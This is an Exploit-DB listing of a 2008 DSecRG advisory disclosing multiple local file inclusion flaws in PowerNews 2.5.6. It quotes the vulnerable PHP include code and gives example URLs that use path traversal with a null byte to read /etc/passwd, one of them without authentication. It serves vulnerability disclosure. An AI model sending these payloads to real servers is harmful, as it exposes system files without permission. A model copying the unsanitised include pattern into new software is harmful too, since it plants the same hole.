PowerNews 2.5.6 - Local File Inclusion
Author: DSecRG
type: webapps
platform: php
port:
date_added: 2008-02-07
date_updated: 2016-11-14
verified: 1
codes: OSVDB-41738;CVE-2008-0742;OSVDB-41737;OSVDB-41736;OSVDB-41735;OSVDB-41734;OSVDB-41733;OSVDB-41732
tags:
aliases:
screenshot_url:
application_url: http://www.exploit-db.compowernews256.zip
Digital Security Research Group [DSecRG] Advisory #DSECRG-08-014
Application: PowerNews (Newsscript)
Versions Affected: 2.5.6
Vendor URL: http://www.powerscripts.org/
Bug: Multiple Local File Include
Exploits: YES
Reported: 01.02.2008
Vendor Response: none
Solution: none
Date of Public Advisory: 08.02.2008
Authors: Alexandr Polyakov, Stas Svistunovich
Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)
Description
***********
PowerNews (Newsscript) has Multiple Local File Include vulnerabilities.
1. Local File Include vulnerabilities found in scripts:
pnadmin/categories.inc.php
pnadmin/news.inc.php
pnadmin/other.inc.php
pnadmin/permissions.inc.php
pnadmin/templates.inc.php
pnadmin/users.inc.php
Non-authentication user can directly access to this scripts.
Code
****
#################################################
if ($_GET[subpage]) {
if (file_exists($_GET[page]."_".$_GET[subpage].".inc.php")) {
include($_GET[page]."_".$_GET[subpage].".inc.php");
} else {
?><center><?PHP echo L_ALL_SUBPAGENOTFOUND; ?></center><?PHP
}
} else {
#################################################
Example:
http://[server]/[installdir]/pnadmin/categories.inc.php?subpage=../../../../../../../../../../../../../etc/passwd%00
2. Local File Include vulnerability found in script pnadmin/index.php in admin area.
Administrator can include local files.
Code
****
#################################################
if ($pnloggedin != "YES") {
include("login.inc.php");
} else {
if (!$_GET[page]) { $_GET[page] = "main"; }
if (file_exists($_GET[page].".inc.php")) { include($_GET[page].".inc.php"); } else {
#################################################
Example:
http://[server]/[installdir]/pnadmin/index.php?page=../../../../../../../../../../../../../etc/passwd%00
About
*****
Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.
Contact: research [at] dsec [dot] ru
http://www.dsec.ru (in Russian)
# milw0rm.com [2008-02-08]